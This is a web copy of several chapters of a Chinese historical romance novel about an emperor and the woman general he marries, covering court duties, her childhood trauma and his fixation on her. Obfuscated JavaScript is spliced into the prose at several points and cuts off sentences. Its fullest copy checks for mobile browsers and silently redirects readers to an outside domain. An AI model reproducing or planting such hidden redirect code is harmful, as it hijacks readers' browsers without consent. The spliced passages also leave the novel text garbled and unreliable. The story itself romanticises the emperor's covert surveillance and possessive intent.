萧正则亦未寝,坐在书斋的金丝楠书案前读一本《通鉴》。极老旧的书了,编缀书页的牛皮绳断了又换,换了再断。 昙现想:这几本书,王爷怕是都能背下来了吧,特别是其中的批注。这些书是当年容讲郎为弘文馆编的,所有批注皆由她手书。当年她突然返回南境,她这份手稿被萧正则悄悄收了,一直放在镶了螺钿的髹漆盒子里,常常翻读,却不许别人碰。 暗卫悄然而至,挑了帘子侧身进来。 萧正则仍是看着书,问道:“丞相府可有异动?” “回王爷的话,有个侍女刚刚出府,去了那家药铺。” 17. 谋婚(下) 萧正则放下书,看着烛火。他冷峻的面庞叫暖光一照,竟显出些柔情来。他一直在容鹿鸣不知道的地方默默窥伺,因而那样了解她。以她的医术,借药力装个疯,谁又能瞧得出?或者,差人把军报稍加夸饰,不也能带兵走了? 现今,京中各势力环伺,都在看着容家。多少人想容家以身入局,又有多少人希望他们作壁上观。 容家人自己也知晓,他们太了解权力,持重地中立着,以累世的威望维持平衡。他们仿佛是默然的执棋者,对弈者几换,他们仍在镇定布局。 此刻,若容鹿鸣借故闹一闹,这婚约不论下未下旨,大概都不成了。 “非她不可吗?”萧正则总在自问,过于浓烈的情绪几乎要将他摧毁。他也蛮横地奉劝自己:“不过是个女人,不过是可借她的力量来争一争权势……” 他尽量地,想把她当做一枚棋子——却是玉色的,由于捂在心口太久,已和他自己的血肉连在一起。或者,怪他摩挲太久,这棋子小镜一样,映出他心念的人和对手,也俱是她。 战场上生死之间,自己和自己的约定,果然,还是要践诺。 萧正则默默灭了烛火,不甚明晰的昏暗中,他悠悠勾起一抹冷笑。书柜的暗格已被打开,他取出那个香囊,内里装着的,是当年得自她军帐中的茉莉花。 这蓝底银线竹纹香囊已然褪色,经年的抚摸,针脚处已泛起线屑。 他把香囊贴在脸侧,深深吸嗅,香味早已散失。香味都拢在他心里。他想,容鹿鸣或许不愿嫁,但她必须是他的,不管是作为一柄剑,还是作为个女人。即便她战死了,装她骨灰的盒子也得在他床头搁着,陪着他,与他生同衾,死同穴。 或许,她已有心悦之人?萧正则握紧了香囊,那倏忽而起的杀意,连他自己都惧怕。 他把香囊贴回面颊,如同那是爱人的鬓发,“鸣鸣,不会让你走掉的……”他喃喃道,换药的谋划、冲喜的计策俱在他心底涌现,为了留她在身侧,他可以不择手段,甚而,罔顾师徒恩义。 由那些生死交关的时刻,由更久更久之前战场上的惊鸿一瞥,他其实早已动了束住她的念头。 终于…… 福宁宫内,错金银博山炉里,沉香悠悠绕着,龙榻之上,盘金绣的明黄帘子也垂下了。 容鹿鸣正俯身,为萧正则的伤口缠好纱布。他们离得那么近。她的气息吹过他颈窝,一瞬地让他觉得,自己原是寂寞的,因为少了她在身旁。冲动之下,他想抛开一切考量,只把她明艳芬芳的面颊按在胸口,浸在自己的心血里。 他其实对她尚存疑虑,对容家尚有防备……许多话他不会说,于是沉默地,用带着薄茧的手捧起了她的脸。 她月色的面庞终于贴在他掌中了,历经生死,终于在他掌中了。他在她秋日深潭般的眸子里看见了自己。 他想俯身吻她,她该是他的。却见她恍若未觉,别过脸去,为她自己后颈的剑伤擦药。 “我来吧。”对着容鹿鸣,他竟不想称“朕”。 转过她的肩,松开她霜色上襦的衣领,他为她把药膏涂匀。 “痛吗?”萧正则轻声问。 容鹿鸣却是笑了。 是了,她在战场上身经百战,这点伤,于她而言不算什么。萧正则想,这才觉察,总披甲执锐的她,此时端坐自己身前,显得有些娇小。而当她负手玉立朝堂之上,即便是朝中老臣,也不敢造次。 他想让这个人真正成为他的,融入血肉和魂魄。为此,他可以等。已经等过漫长的时日,原以为不可得。既然得了,他便愿意继续等。 并置的龙凤白玉枕,他将两枕拉远了距离。 “皇后寝于内侧吧。”萧正则淡淡道。 些微的局促,容鹿鸣未动。 萧正则朝他摊开手掌,掌心横着几道伤疤:“给我。”他知道容鹿鸣袖中有柄从不离身的匕首,据说,是西戎靖王赠予的。 白银错金的玄铁匕首,厚不过一指,精巧极了,带着她的体温。萧正则在自己手中握了握,拔出匕首令昙现收好,把刀鞘放在床榻中央。 “容鹿鸣,我愿与你有个君子之约。” 她懂了他的意思,倏忽之间,松弛下来。 “谢陛下。”她又在他膝前跪下。他没有扶她,心里觉得奇怪,她越是这样谦恭,他越是能感到她隐然的不驯。也许早在初见时就开始了,他先是被她的艳美捕获,接着是不服——他把她当作对手放在心头。 直到现在,他仍以为君王之威于她眼中不过算个壳子,他不要做她的君王,要做个与她匹敌的男子。 烛火燃着静寂,安神的龙涎香像轻柔的面纱,拂在脸上。 他们都静静躺着,盼着梦来。 身体陷在锦被里,容鹿鸣尝到少有的惬意,心里却停不下思量。没有兵戈铁马,上弦月枕着飞檐。一直隐没深处的倦意缓缓涌出来,逼问着她:“停在此处,不好吗?” 好啊,怎么不好?容鹿鸣自己笑自己。就在这华宫美殿中作个摆件,像那个天蓝釉的柳条纹缸。刚进贡上来时,萧正则很是喜欢,玩赏了好几天。后来又贡上来一批秘色瓷,先前那天蓝釉的便收到了角落。 人同此物,隐藏在后宫里大概不难,亦不缺少劝说自己的理由:后宫不得干政。她也便可以停下了,收起阴谋、算计、冲杀和生死,在这深宫里寂然地过。给自己一个抽身的理由,可以闲敲棋子,看灯花落下。如此甘美的安逸,即便是在牢笼般的宫殿里,似乎也引人向往。 那么,就这样了吗?她用手臂压住眼睛,有人在身侧,她不能一叹,只把心中的郁气缓缓吐出。到底,这里不是她的栖身之所。她想到南境,想到无辜死伤的百姓,想到一路并肩而战的将士,想到哥哥,想到自小父兄一直在做亦在讲的——护国佑民。她停不下来,停不下来了,不能在这后宫里寂寂地过。肩伤剧烈地疼着,她有必须要做的事。 她羡慕了一会儿那个天蓝釉的柳条纹缸,作为慰藉,像是难以入眠时读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没曾想容雅歌转身就串到他自己的沉香佛珠中,容鹿鸣腕细,去掉了好几颗,然后郑重戴在她手上。 “真是兄妹情深。”萧正则想,心里不无羡慕。他身在皇室,除二哥之外,周遭兄弟全是敌手。 罢了,他复又躺下,明天还有许多政事要处理。 将睡未睡,突然,萧正则听到细微的呻吟。昙现也听到了,跪于帐外:“陛下?” “无事。” 萧正则看着身畔的人,眉头紧锁,呻吟着、剧烈喘息,似在忍着什么苦痛。 “鸣鸣。”他出声唤她,托起她后颈,看她的伤口。伤口无恙,她额头却发烫,这是怎么了? “鸣鸣!”她血痕般的唇被她自己咬住了,泪从眼角沁出来。 他把她抱进怀里,担心她咬伤自己,情急之下,他把右手食指垫进了她唇下……一瞬地,他想变成这节食指,被她痛痛地咬着。 18. 因为慈悲 “陛下,皇后娘娘怕是魇住了。” “快!昙现,取支虎头茉莉来。” 茉莉落在她枕畔,浓香忽地散开。容鹿鸣渐渐平静下来。萧正则想收回手臂,又舍不得,就让容鹿鸣那样枕着。 先前在王府里也曾如此,不若这般严重,他当她是过多思虑所致。现在看来……刚刚一刹的,他想起当年战场初遇,容雅歌曾担心她夜不能寐,派人送过茉莉。前些日子,他特意着人去见过前任太医院院判陆徐。陆徐说,她的心疾恐会诱发热症。 那么小就被带去战场,兵戎之间、拼杀之中,她究竟都经历了些什么? 知晓了她的脆弱之处,他痛得如同一根锐刺锥入心脏。他收紧手臂,隔着一小段距离,如今她在他怀里,他定是要护好她。 萧正则只看到她光华展现,军功赫然,未曾见过她如何拼杀。 当年,容鹿鸣刚被带到军营,尚不清楚发生了什么。阿耶、阿娘明明忧心忡忡,却强笑着,要她随哥哥去军中待几日。临别时,若不是阿耶执意阻拦,阿娘直想同她一道去。 容雅歌表面上镇定自若,却把他的亲兵拨了一半,来保护容鹿鸣。不敢让她睡在别的帐中,就在他自己的军帐里摆了个她喜欢的天水碧的屏风,将空间一分为二。 夜里,他都枕剑而眠,军队明明在休整期,他和自己的亲卫们却如临大敌。 许多小时候的事,容鹿鸣都记不起了,只是怕血怕得厉害。刚到军营时,容雅歌每次回了营,都是先洗净血污,熏了白檀香才敢来抱她。 那一回,与北狄激战初歇,有个敌方奸细扮作容家军,溜进了容雅歌的军帐。容鹿鸣睡得轻,立即觉察了。可她不能叫护卫,那人的利刃已趋近兄长的咽喉,若她出声,那人拼力一刺…… “要保护哥哥!”她想,出于本能的,从床另一侧悄然迂回到那人身后,紧握匕首猛力刺向他后心,奋力一搏之中,扎入了那人内侧的胸骨之上! 鲜血满手,那人激烈地挣扎着。她忘记了惶恐,只念着不能让他伤害容雅歌。 哪里来的勇气?她试图用膝盖将那人压在地上,猛然间想起医书上心脏的位置,两手紧握刀柄,全力把刀尖往上一挑,“噗”地轻颤,刀尖终于扎进那心脏。 然后她颓坐在血泊里哀哀地哭,连紧压刀刃的手掌被削去了皮肉都浑然未觉。 容雅歌被惊醒,浓烈的血腥味中仍余淡淡迷香。他迅疾起身,抱起容鹿鸣,检查她是否受伤,然后把人紧紧抱在怀里。 “没事了,没事了……”他抚着她瘦削的脊背,幸好她没事,一般的迷药于她无用。 那人已经死了。 容大虎拔出匕首时,才知道容鹿鸣下了死力,刀尖刻过胸骨,利刃竟已卷边。 容鹿鸣当夜开始发热,整整三天三夜,高热不退,药、食通通灌不下去。容雅歌一直守着她,拨动腕上佛珠,发愿为地藏菩萨开一方石窟。 第四日,容鹿鸣方才醒转。军医官陆徐已是杏林圣手,诊过脉,看她饮过药睡下。他才对容雅歌道:“令妹此疾,恐是心疾,不易痊愈……” 接下来的几场硬仗,容雅歌如同罗刹附体,直杀得北狄大皇子溃不成军,被围剿于两国交界的穹心阙下。 北狄皇帝手书休战书,以换回爱子的尸首。 纵使北狄向来狡猾善变,此次大败也足够他们颓丧年余。 如此大功,容雅歌没有随副将一道返京受赏,他给皇帝上了一道折子,然后,带着大病初愈的容鹿鸣去了穹心阙。 穹心阙一侧的山崖上有数处石窟。两国边民,信奉大乘、小乘佛教者皆众。 把马留在山下的农家,容雅歌背着容鹿鸣往山上走。他只带了两个亲卫,但剑不离手。即使容鹿鸣牵了他的手去摘花,他的另一只手也牢牢按在剑柄上。 他并不担忧自己的安危,谁敢对他动手? 他担心容鹿鸣,从相府到北境,这个女孩的安危和秘密始终压在他心上。 “哥哥,花,好多……”容鹿鸣喊他。热症之后,她明显的话少了。军营之中,常常一坐一整日,只偶尔同他和容大虎说话。 他复又抱起她和她手中的花,担心她走多了疲乏。愈往上走,见树木蓊郁,心愈澄静。山间白檀遍植,气息悠然。午后的日光透过叶间,洒在他们身上。 到石窟崖了,容雅歌放下她。她学着他的样子,虔诚地拜过端坐须弥座上的佛像。 “鸣鸣,我们也在这里开一方石窟,可好?” 容鹿鸣点点头。 “就刻地藏菩萨吧。” 容鹿鸣困惑地抬头望他。 “地狱不空,誓不成佛。”他既是和容鹿鸣说,也是同他自己说。那一刻,他已隐然地预感到,容鹿鸣会成为和他一样的人,背负同样沉重的枷锁,而不得逃脱。 他轻柔地抚了抚小妹柔顺的发心,心中悲苦难以言说。于是抽出袖间炭笔,借着在崖壁圈出窟洞大小的片刻,忍去了眼眶里的温热。 他知众生皆苦,唯不忍小妹亦受此苦。 极难得的,余出了大把时光。他们一行人都在山脚下的农家住下,俱是麻衣草履。无人知晓,名动天下的晋国大将军竟身在此处。 容雅歌和亲卫们每日清晨一道挑水,摘些润着露水的花:野茉莉、杜鹃、风铃草……用狗尾草的叶子扎成一束,绑在扁担边沿。 没过两天,村里未嫁的姑娘们就和容雅歌搭起话来,问他是否婚配、家中还有何人,问他要扁担头上挂着的花。 他微垂视线,笑而不语。他目光锋锐,得时时留意隐藏。 “但有父母、小妹。”片刻后,他答,总不能失了礼数。 “那……我愿同你一道赡养父母,一并教养小妹!”相似的话,容雅歌听了好多次,都出自晨曦般美丽善良的姑娘。 他总是真诚而慎重地谢过了。一将终成万骨枯,他知道自己终有马革裹尸的一天,何必拖累旁人。 扁担头的花,他也未给过别人。待把木桶里的水注了水缸,他便把花儿放到容鹿鸣床头,她会撅着鼻子嗅一会儿,然后醒过来,开怀地捧着花儿去梳洗。 小院的主人是一对老夫妇,唯一的儿子死在战乱之中,对容雅歌他们慈爱异常。 容雅歌米糕蒸得不错,亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二日,他开始为那方小小石窟里的地藏菩萨像开脸。容鹿鸣正沉醉于菩萨衣袖堆叠的纹路,蓦地直起身子问容雅歌:“哥哥,我们快要走了么?” 容雅歌未说话,菩萨的眉目在他心里印着。 “哥哥,我们不能一直留在这里吗?” 容雅歌放下刻刀,把大手轻轻印在她脸上,这样的眉眼、鼻端、唇角……默了良久,容鹿鸣懂了他的回答。 那晚,月色亮若白银。他们走了一条平日不常走的路。浸在月色之中,似乎连虫鸣都在发光。 蓦然间,容鹿鸣看到崖壁上一尊新凿的菩萨像。她看了一眼,仿佛被触到心底某处,松开哥哥的手,走了过去。 她站着看了一会儿,泪流了满脸。 “怎么了?”容雅歌跟在她身后,柔声问她。 “慈悲。”容鹿鸣无端地说。被菩萨悲悯的目光看着,她想,自己,也许是可以被宽恕的。 她把发上的一朵绒花虔诚地供在菩萨面前,这是阿娘为她亲手做的。 “哥哥,该走的时候,我同你一道回营。” 19. 皇后之职(上) 后来,天下皆知,被容鹿鸣手刃之人,乃是北狄大皇子最信任的近卫。至此,她声名鹊起,以她自己和容雅歌都最不希望的方式。 暗杀容雅歌的计划失败。七个月后,北狄政变,大皇子弑父上位。停战之约被付之一炬。 返回北境大营之后,容鹿鸣开始刻苦习武,开始留意容家军的每一张面孔。 容鹿鸣睁开眼,朝暾已红。身畔的锦被是冷的。 昙现立在帷帐外:“皇后娘娘,陛下怕您昨夜未得好眠,特地熏了安神的香。” 是了,她一向卯正即起。想起昨夜之事,那个老毛病,怕是又犯了。 美盼带着郁雾和几个侍女,进来帷帐为容鹿鸣更衣梳洗。 宝相花团窠纹褙子和间色交窬裙穿在她身上,薄如蝉翼的披帛随动静飘舞。连美盼都觉得,容鹿鸣像是宫中至宝“仕女图”中走出来的翩翩仙子。 容鹿鸣有些不习惯。以前即便在京中,她也喜好窄袖、素裙,鲜少隆装。 晨光中,诸物都暖融融的。凤仪宫中的布置,博物架上的摆件,一一看来,大多是萧正则的喜好。书案旁摆了个金丝楠书架,架上的书,倒都是容鹿鸣喜欢的。 书架的第二层摆着方红木漆盒。打开来,是个被牙白缎子包着的卷轴。看这绢纸的颜色质地,容鹿鸣连忙捧出来,让美盼掌着一端,自己小心展开来,竟是《洛神赋图》。她示意美盼和自己一起,把卷轴轻轻置在书案上,细细观赏,笔触之动人,仿若春云浮空,流水行地。 “陛下知道皇后娘娘喜欢,特地寻来赠与娘娘的。” 容鹿鸣闻言淡笑,接过昙现捧来的茶盏。 御前太监忘筌来凤仪宫传话,说萧正则召容鹿鸣去文华殿。 朱红的殿门敞开了,阳光照眼。容鹿鸣有片刻的胆怯:要以皇后的身份走进这里了,曾经的光阴像被收卷起的半部卷轴。 她迈过及膝高的朱红门槛,走进门外的风景里。龙凤嵌珠的金步摇垂在耳畔,美盼搀她坐上了肩舆,朝文华殿去。 一路上宫人们纷批而跪,“皇后娘娘千岁”的问安细碎地响个不停。 萧正则斜靠在髹金漆云龙纹宝座上,见她来了,长眉微挑,俊逸的脸上透出点笑意。 未及她敛衽行礼,萧正则朝她说:“鸣鸣,过来。” 昙现在王座一旁落下个镶螺钿的圆凳。 容鹿鸣还是把礼行了,问道:“陛下传臣妾前来,是有何事?” 唇边笑意浓了,衬得萧正则俊美无匹。他不说话,却是把右手稍稍抬起,纤长有力的手指,唯食指处缠了几层纱布。 “皇后说,朕找你来干什么呢?” 半梦半醒间的模糊印象,容鹿鸣想问,又不好开口。垂目立于王座一旁,不说也不坐。 萧正则左手支着太阳穴,抬眼看她,偶尔的局促像露珠划过花蕊一样,她竟瑟缩了一下。 “这可怎么批折子?看来皇后是知错了,咬的……” “陛下——”容鹿鸣抬头,白皙的面庞蒸腾着朝霞般的红热,“臣妾特来为陛下伺候笔墨。” “鸣鸣有心了。”萧正则拉了她的手。宫人俱在面前,她不好挣脱。当真是展袖坐下,将从天蓝釉的小水丞中取水,却见墨已研好。 面前的砚台不大一般,红如马肝,酥润如玉,正面雕着几株梅花,着墨无声,墨沉下去时会有烟气升起,煞是有趣。 “咳。”萧正则拢拳,抵唇轻咳。 “皇后娘娘——”昙现把朱笔捧了过来。 容鹿鸣没接,“陛下难道是要我代批奏折?这……” “莫讲什么礼数不礼数的了,北境是战乱,西北旱灾、西南水患……连带着一干杂事,萧正则指了指龙书案,这些都是今日新递上来的。我口述,你代书。” “陛下,笔迹不同……” 萧正则没说话,指指自己先前忍痛批的折子,让容鹿鸣看看那字。 容鹿鸣一眼扫过,旋即惊住:这和自己的笔迹越发像了,简直一样! 原是弘文馆大学士上书,说皇帝罔顾伦常,竟立儿时讲郎为后。 萧正则朱批其下:此乃妒忌,怨汝师不如朕师。 这大学士的恩师,与前任帝师林思齐并称“双哲”。 容鹿鸣一时语塞。 萧正则悠悠道:“容讲郎当年书法也是一绝,我们这些跟着你学的,多少都受些影响。” 容鹿鸣谢恩也不是,不说话也不是,心里咆哮:“这是受一点影响吗?若不是御笔朱批,我都怀疑是我自己写的!此外,朱批可以这样写吗?又有多少御史要丢折子上来……” “鸣鸣,动笔吧。” “遵旨。” 容鹿鸣依言提笔。心里真想问一问,萧正则这是怎么了?举止常常出人意料,她猜不透他的心思。 忘筌和郁雾奉了茶来,俱是白玉薄丕的茶盏,茶却不同。容鹿鸣闻到熟悉而浓烈的茶香,搁笔问道:“可是南境岩茶?” “皇后娘娘果真厉害,一闻便知。这是新贡上来的,皇上说记得娘娘喜欢,就留下了,一会儿让郁雾姑娘带回凤仪宫。” “谢陛下。”容鹿鸣眉眼弯弯,起身施礼。京中鲜少此茶,她也是许久未饮。 “不必。香味过浓,鸣鸣且去那边饮。”萧正则转过脸。 “不欺瞒陛下,此茶饮在口中,芳香有致,回味甘美,不信,陛下尝尝。”容鹿鸣把自己的茶盏窝在掌心,递了过去。在军中,大家也是这样分饮醇酒的,她不觉得有什么。 萧正则怔了怔,就着她饮过的热盏,把茶饮尽了。 “何如?”容鹿鸣问。 “尚可。”萧正则觉得很香,可不知道是茶香,还是因为沾过她的唇而白玉生香。 批过的折子由内侍一一抱走,龙书案上还摞着不少。 萧正则重伤未愈,此时有些倦了。容鹿鸣心下有些怜惜,不过还是个少年,已要承担起家国的千钧之重了。 她着美盼去凤仪宫取些东西。 待取来,萧正则正倚着明黄软垫闭目养神。容鹿鸣起身,向前两步站到他身侧。他一瞬地警觉,继而想到是她,松弛下来。 “陛下,这是臣妾配置的提神药膏,揉在太阳穴上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592647|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇效。” 带些冰凉的手指按在太阳穴上,她温热的手臂贴在他耳畔。这是梦里梦到过的,书上讲红袖添香,想来亦美不过如此。 倦意正浓,自制力的绳索松开了。萧正则握住容鹿鸣的手腕,略一使力,雍容的衣袖瞬地划开。萧正则把口鼻贴上她手臂内侧细白的皮肤,软玉生香,茉莉混着白檀,以及她皮肤的暖甜。脉搏在玉肌之下蓬勃地跳着。 “陛下!”容鹿鸣抽不开手,这人看似俊雅,手臂却坚实有力。 “就一下,让我歇息会儿。” 他的眼睫、呼吸沁着她皮肤,心跳蓦地很快,像心里飞进一只黑色的蝴蝶。 有意无意地,他的上唇擦过她手臂,然后松开,打开面前奏折,推到容鹿鸣面前。他想着别的事情,未注意奏折上的内容。 为敛心神,容鹿鸣读了出来:“……擢选贵女入宫之事,特此上奏皇上……” “陛下国事繁忙,不如就把此事交由臣妾吧。” 看着她一副大有可为的模样,萧正则觉得太阳穴突突直跳。 “后宫里,仅我和淑离妹妹,委实冷清了些。”说着,她把奏折往后翻了两折,边看边读了出来。 “陛下,不如都接进来吧。”容鹿鸣认真地对萧正则讲。 “什么?” “陛下放心,典仪由我亲自督办。”她笔下的册封诏书,确实精雅。 “朕……”萧正则突地觉得,今天叫她来代笔,兴许是个错误。 “陛下不必担忧,后妃之德臣妾是懂的。定不让陛下为此烦忧。” 确实!萧正则静静瞧她,她的喜悦都快压不住了!这是有多希望从他身边脱身,她想得可真美,可是,偏不! 萧正则抽过奏折,看了看,左手执笔,画去了其中一页。 “剩下的,皇后再行擢选,功臣、世家之女便是,其余的,就不必了。” “遵旨。” 陆谦来文华殿为萧正则换药,一并向容鹿鸣请安。 “皇后娘娘可是养了狸猫?定要小心些,别也被它咬伤了。” “狸猫?”容鹿鸣心道,她倒是想养,可凤仪宫里不是宫人就是萧正则的暗卫,她哪里有心思照顾。 “陛下的手不是……” “是啊,是被皇后殿里的小狸猫狠狠咬了。”萧正则舒展了手指,让陆谦涂药。 容鹿鸣又羞又愧,心想今日一定得侍奉萧正则批完所有折子。 日影几换,殿内的八对错银镶金铜鹿灯架上,亮满烛火。 确实比处理军务累,容鹿鸣想,索性把披帛丢了,让郁雾取来襻膊,束了广袖,专心致志地写。笔锋苍劲而带锋芒,不是平日里的狂草。 萧正则不知是喜欢人,还是喜欢字。当年以她的手书为贴,很是下过苦功。现在看她在他面前写,确实比他自己的字好,览之悦目赏心。 他不觉问道:“我见过宋衍麾下几位将军的书信,几乎俱是着人代笔。有回不小心把原稿送了来,那真是——叉叉带圈圈,只是略识之无而已。想来皇后亦是自小长在军中,怎么习得字、文俱佳? 20. 皇后之职(中) 容鹿鸣正就着萧正则的意思,和户部尚书以文字为媒,认真掐架,掐得酣畅淋漓,闻言抬头,萧正则刚是夸她了,需要谢恩吗? 她这一回神,才意识到,自己一手奋笔疾书,一手竟早拔了一侧遮眼的步摇,握在左手轻轻磕。 于是赶忙整理好衣袖,把那步摇掖在袖下。她长在丞相府中,各种珍宝过手不少。这步摇上几颗鸽蛋大小的正圆净白东珠,她曾经见过,知道是皇室珍藏。被自己挨着案角轻敲,实在暴殄天物。 “陛下谬赞了。”她微一行礼,拽过笔继续写。这韵散结合、骈偶丽句、用典化典、指桑骂槐,真是让容鹿鸣喜叹棋逢对手! 萧正则倚着龙榻看她,她当年就是这样,他去她军帐里偷偷看过:在沙盘前指挥若定,左手指间夹颗黑晶棋子,轻轻敲,声若金石。他读过容雅歌的政论,想他俩同师所授,素以文章得称,笔力应当不差。 于是出声提醒:“户部尚书年老,颇有告老之意。鸣鸣可收着点儿,别把他气出个好歹。” “是。”容鹿鸣端坐,收了笔势。想想这些老学究,迂腐得有些可笑,却执着得可敬。 有些字句在容鹿鸣心里静静淌着,她搁了笔,对萧正则说道:“陛下,我阿耶亦年老,可能仿照这户部尚书,抽簪而去?她特意笑了笑,装作是玩笑一句。 她一直记得当年读过的萧正则的策论——削藩集权,限制簪缨世族。思及前朝,军功显赫之将,几人能得善终? 萧正则也是笑,若容止走了,这宫里还有什么能留得住容鹿鸣?容家军势大,容止在避,容鹿鸣更在避。他们俱在敛去家族的锋芒,好让远在北境的容雅歌可以不被君心猜忌,安心守卫国土。 卧榻之侧岂容他人酣睡?萧正则心有此意,容家定是要一步步削去的,即使是面前人,也许有天他也不得不动手。权势中心这些不能言说的,他知,容家人亦知。 知行知止,容鹿鸣是,容家人都是。 “鸣鸣难道不想争宠?”萧正则特意地问,“外有倚仗不好吗?”他从她袖下抽出那龙凤步摇,亲手为她簪上。 容鹿鸣下意识地一躲,却被他扣住肩膀,认真地为她理好簪花。 “陛下圣心所在,哪里是臣妾可以左右的。”她由烛火望向他,笑盈盈的,眼里却是暗的。 总是这样滴水不漏,她当真不像个挥斥方遒的将军,倒像个内阁文臣。匪气和狡黠随时切换。而在他面前,鲜少喜形于色,总在审时度势。 萧正则不大想笑了,容鹿鸣这样的人,若是能死死扣在深宫里,当真适合做个母仪天下的皇后。就她的手段,什么样的侯门贵女镇不住,若再能削了权势过大的容家外戚,便是更好了。 宫人执银剪,轻细剪烛芯。 烛光一颤地亮了些,像个琥珀碗盏似的,将容鹿鸣盛着,她好看得越发明艳沉静。而她的艳丽里常带着某种克制,清白得似乎不曾手握横刀。 萧正则想,这人得握在他自己掌中,若驯服便相守,若有异心,那他该如何去做? 先前战场上那样的失控,不能再有了。他愿自己慢慢清醒过来,愿容鹿鸣不会背叛他。愿心里对她的全部执念终会像春雪那样,慢慢融释。 萧正则不知自己在真情演假戏,却知道容鹿鸣也在作着戏。 子时三刻,昙现前来催寝。 “请陛下先寝,我写完这本再说。” 萧正则见容鹿鸣笔下几顿,开口道:“军报朕清晨已阅。” 容鹿鸣没说话。 “皇后是不关心北境战况,还是早已知晓那边情形?” 容鹿鸣将笔搁在水蓝釉的笔山上,“臣妾居于深宫,哪得知晓前线战况,不过观陛下神色怡然,前线大抵无事。” 萧正则从旁边一摞奏折中抽出一本,递给她。 容鹿鸣展开速读,“北境前线军费仅够支撑两月,国库空虚……”先帝在世时已然如此,她同兄长也曾数次向朝廷讨要军费。 “除却北境军费,南蛮的反扑虽被你带兵镇压,但驻军必不可少,军费的开支又是一大笔。还有东边、西边的赈灾款,多事之秋呐。”萧正则一手扶在龙书案上,转过脸看一旁的烛火。 容鹿鸣于心里算了算,曾经,在户部的监管之下,晋国与西戎每年还会做些大宗贸易,丝绸、茶叶、瓷器、琉璃制品……每年多少也能落个二三百万的收益,可如今…… 两国的买卖是做不成了。辰王之乱后,西戎皇帝一直久居深宫、不理朝政。奕王权势日盛,意图与北狄结盟。若宇文靖不能得位,任由奕王夺了西戎王权,必与北狄共同倾轧晋国。 “唉,愁人。”容鹿鸣无意识地拔下鬓边步摇,把那东珠细细摩挲,想到以前的事。 当年,二皇子曾带她去过宫中的珍宝阁。此地禁卫森严,不许旁人随意进入。二皇子把她扮作自己的侍女,大摇大摆地走了进去。 阁中珠玉宝石、翡翠琥珀、东珠珊瑚……真正琳琅满目。 二皇子让她选两件,送她。 容鹿鸣可不敢。 “无妨,选你喜欢的。待来日,阁中之物任你拿取。” 余音在耳,逝者已去,容鹿鸣抽回思绪。先帝在时,静妃以身垂范,衣饰简朴,除却皇后宋桓,其他嫔妃亦是如此,那么,珍宝阁中理应尚存不少宝物。她按照市价约略一算,北境军费当是无虞,只是,萧正则会应允吗? 她纤细的指把步摇握入掌心,萧正则先开口了,“鸣鸣,”他掰开她的手指,握在手中。 “倒是不必动你的妆奁。”萧正则读懂了她的心思,支起搭在龙书案上的右手,以拳抵额,侧目看她,东珠确实衬她,翡翠、碧玺、红宝石都衬她,珍宝阁中的诸多宝饰,他都觉得单看不过尔尔,可若是戴在她身上,定是光彩照人。 “陛下。” 她在揣测我的心思,萧正则想。他喜欢她为他忧心,不,不止是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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容鹿鸣当然没忘,当年殿试之后,林家还数次派人上门求亲。容止虽早年提携过林舒涟,但后来觉察他权欲过甚,与他渐渐断了来往,更是决然不会与他结亲的。况且,容鹿鸣身份特殊,她的终身大事,他也实在不敢独断。 一来二往之间,两家都看似友善可亲,实则暗潮涌动。林家竟摆出了誓不罢休的气势,容止倒还是淡淡的,拒婚的理由变都不变。林舒漪气归气,但他能奈容家何? 林如柏似是动了真心,书信一封一封寄往南境战场。久无回音,上巳节那日,他独自一人在京中最辉煌的酒楼——如意楼大醉一场,然后在酒楼偌大的厅堂内,楂笔蘸徽墨,雪壁狂草题书:娶妻当娶容鹿鸣,簪缨莫欺少年穷。 21. 皇后之职(下) 林如柏的书法本就有些名气,这一回,可真是撼动了京城。 友人写信给容鹿鸣,满怀愁绪,担心此事不好收场。 容鹿鸣正靠在军帐中的躺椅上闭目养神,听美盼念信念到此处,睁开眼睛说:“真想去看看他的狂草,据说颇得‘草圣’真传,你说,待咱们返京时,可还能看到?” “您还有心思想这个!万一林尚书再次请旨赐婚……太子帮得了一次,还能帮第二次?” 容鹿鸣不笑了,叫亲卫把林如柏寄来的信一并拿来,她一封都未拆过。用根香草编的绳子束了,置于匣中,随手附上打油诗一首:知君凌云志,愿君鹏程起。觅得佳人归,相守共华年。寄返京中。 后来返京,容鹿鸣照旧深居简出。有一日空闲,她散着手,带了美盼去如意楼吃点心、饮茉莉香片,见那狂草仍在,不禁细细欣赏,确是笔势狂放,气势奔腾,恨不得当场临上一帖。 